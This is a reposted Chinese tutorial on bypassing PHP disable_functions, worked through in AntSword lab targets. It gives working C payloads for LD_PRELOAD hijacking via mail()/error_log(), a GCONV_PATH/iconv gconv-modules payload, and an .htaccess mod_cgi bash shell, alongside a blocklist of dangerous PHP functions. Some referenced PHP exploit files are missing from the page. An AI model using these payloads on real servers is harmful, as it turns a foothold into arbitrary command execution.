干货

您所在的位置:网站首页 php函数function 干货

干货

2024-01-20 16:40| 来源: 网络整理| 查看: 265

PHP disable_functions

disable_functions是php.ini中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。

image-20211213225432124

先来看看一般是哪些函数需要放入 disable_functions:

禁用函数

功能描述

危险等级

system()

允许执行一个外部程序并回显输出

exec()

允许执行一个外部程序

shell_exec()

通过 Shell 执行命令,并将执行结果作为字符串返回。

passthru()

允许执行一个外部程序并回显输出

popen()

可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。

proc_open()

执行一个命令并打开文件指针用于读取以及写入。

proc_get_status()

获取使用 proc_open() 所打开进程的信息。

chroot()

可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。

chgrp()

改变文件或目录所属的用户组。

chown()

改变文件或目录的所有者。

ini_set()

可用于修改、设置 PHP 环境配置参数。

ini_alter()

是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。

ini_restore()

可用于恢复 PHP 环境配置参数到其初始值。

dl()

在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。

pfsockopen()

建立一个 Internet 或 UNIX 域的 socket 持久连接。

symlink()

在 UNIX 系统中建立一个符号链接。

putenv()

用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。

phpinfo()

输出 PHP 环境信息以及相关的模块、WEB 环境等信息。

scandir()

列出指定路径中的文件和目录。

syslog()

可调用 UNIX 系统的系统层 syslog() 函数。

readlink()

返回符号连接指向的目标文件内容。

stream_socket_server()

建立一个 Internet 或 UNIX 服务器连接。

error_log()

将错误信息发送到指定位置(文件)。安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。

注:eval()并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。

由于很多 PHP 站点往往设置了disable_functions来禁止用户调用某些危险函数,给 Getshell 带来了很大的不便,这里总结了以下绕过方法来绕过与突破disable_functions,欢迎大佬指正。

寻找黑名单遗漏的危险函数

disable_functions 是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼。

拿到WebShell之后可以通过phpinfo来寻找黑名单遗漏的危险函数。

image-20211229222906997

以下一些比较严格的disable_functions限制项:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv利用 LD_PRELOAD 环境变量

原理简介:

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。

我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

能够上传自己的.so文件 能够控制LD_PRELOAD环境变量的值,比如**putenv()**函数 因为新进程启动将加载LD_PRELOAD中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()、imap_mail()、mb_send_mail()和error_log()函数等

漏洞利用条件:

•Linux 操作系统•putenv可用•mail or error_log 可用,本例中禁用了 mail 但未禁用 error_log•存在可写的目录,需要上传 .so 文件

靶场环境:

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1

启动环境:

docker-compose up -d

我们的最终目的是获取 /flag 的内容, 这个文件是 644 权限,www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag。

image-20220101235220486

方法一:劫持函数

一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

基于这一思路,常见突破 disable_functions 限制执行操作系统命令的思路:

1.找到一个可以启动新进程的函数,如mail()函数会启动新进程 /usr/sbin/sendmail 2.书写一个会被sendmail调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如geteuid()函数 3.运行PHP函数putenv(),设定我们的so文件为LD_PRELOAD,设置后新进程启动时将优先加载我们设置的so文件 4.运行PHP的mail()函数,这时sendmail会优点调用我们书写的getegid同名函数,达到劫持执行恶意代码的效果

首先查看sendmail会调用那些函数,这里我们选择getegid函数,也可以是其他函数进行劫持

readelf -Ws /usr/sbin/sendmail # readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看

image-20220101234332864

靶场突破:

首先在本地编写hack.c文件,目的为显示当前目录下文件:

#include #include #include void payload() { system("tac /flag > /var/www/html/flag.txt"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

将c文件编译为so文件

gcc hack.c -o hack.so -shared -fPIC

使用蚁剑将hack.so上传至目标靶机

image-20220101232524908

使用蚁剑在目标靶机上写入php文件,设置环境变量并执行mail()函数

但是在浏览器中访问.php文件,未出现flag,猜测mail函数被禁用,可以通过写入phpinfo()查看

image-20220101233507576

sendmail也会调用error_log,修改php文件如下:

浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件

image-20220101234446832

方法一:预加载共享对象

在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function。

系统通过LD_PRELOAD预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function。

gcc允许为函数设置如下属性,可以让其修饰的函数在mail()函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。

__attribute__((__constructor__)) // constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数

编写hack.c代码

#include #include __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD");//接收传入的命令 system(cmd); // 执行命令 }

将c文件编译为so文件,并使用蚁剑将hack.so上传至目标靶机

gcc hack.c -o hack.so -shared -fPIC

使用蚁剑在目标靶机上写入php文件,设置环境变量并执行error_log()函数

浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件

image-20220102000255462

注:unsetenv()可能在CentOS上无效,因为CentOS自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD就又被劫持,导致无限循环,可以使用全局变量 extern char** environ删除,实际上,unsetenv()就是对 environ 的简单封装实现的环境变量删除功能。

在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:

#define _GNU_SOURCE #include #include #include extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }

使用for循环修改LD_PRELOAD的首个字符改成\0这样可以使系统原有的环境变量自动失效。

利用 GCONV_PATH 与 iconv

原理简介:

php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()。

linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

1.iconv_open函数依照GCONV_PATH找到gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置。2.根据gconv-modules文件的指示找到参数对应的.so文件。3.调用.so文件中的gconv()和gonv_init()函数。4.一些其他步骤。

我们的利用方式就是首先在某一文件夹(一般是/tmp)中上传gconv-modules文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so文件中的gonv_init()函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH指向我们的gconv-modules文件,然后使用iconv函数使我们的恶意代码执行。

漏洞利用条件:

•Linux 操作系统•putenv可用•PHP安装了iconv相关模块•存在可写的目录,需要上传 .so 文件

image-20220109140408196

靶场环境:

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

靶场突破:

首先上传gconv-modules文件于/tmp文件夹,其内容如下:

module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2 module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2

在本地编写payload.c文件,内容如下:

#include #include void gconv() {} void gconv_init() { puts("pwned"); system("tac /flag > /var/www/html/flag.txt"); //需要执行的命令 exit(0); }

将c文件编译为so文件

gcc payload.c -o payload.so -shared -fPIC

使用蚁剑将payload.so上传至目标靶机的/tmp/目录下

image-20220109152304087

编写exp.php上传至web目录下

访问exp.php页面即可执行命令

image-20220109152234554

利用 Apache Mod CGI

原理简介:

CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程。

MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。

漏洞利用条件:

•Linux 操作系统•Apache + PHP (apache 使用 apache_mod_php)•Apache 开启了 cgi, rewrite•Web 目录给了 AllowOverride 权限•当前目录可写

靶场环境:

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3

disable_functions比之前的多了putenv

靶场突破:

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置

Options +ExecCGI AddHandler cgi-script .dizzle

然后设置.dizzle结尾的shell文件(shell.dizzle)

#!/bin/bash echo -ne "Content-Type: text/html\n\n" tac /flag

将shell.dizzle的权限改为0777

image-20220103004105994

访问shell.dizzle即可执行命令

image-20220103004931720

注:由于Windows 系统中:每行结尾是 "",即 "\r\n";而UNIX/Linux中:每行结尾是 "",即 "\n",所以在写shell.dizzle文件时必须使用手打,复制粘贴会报错误。

也可以使用如下EXP进行自动生成:



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3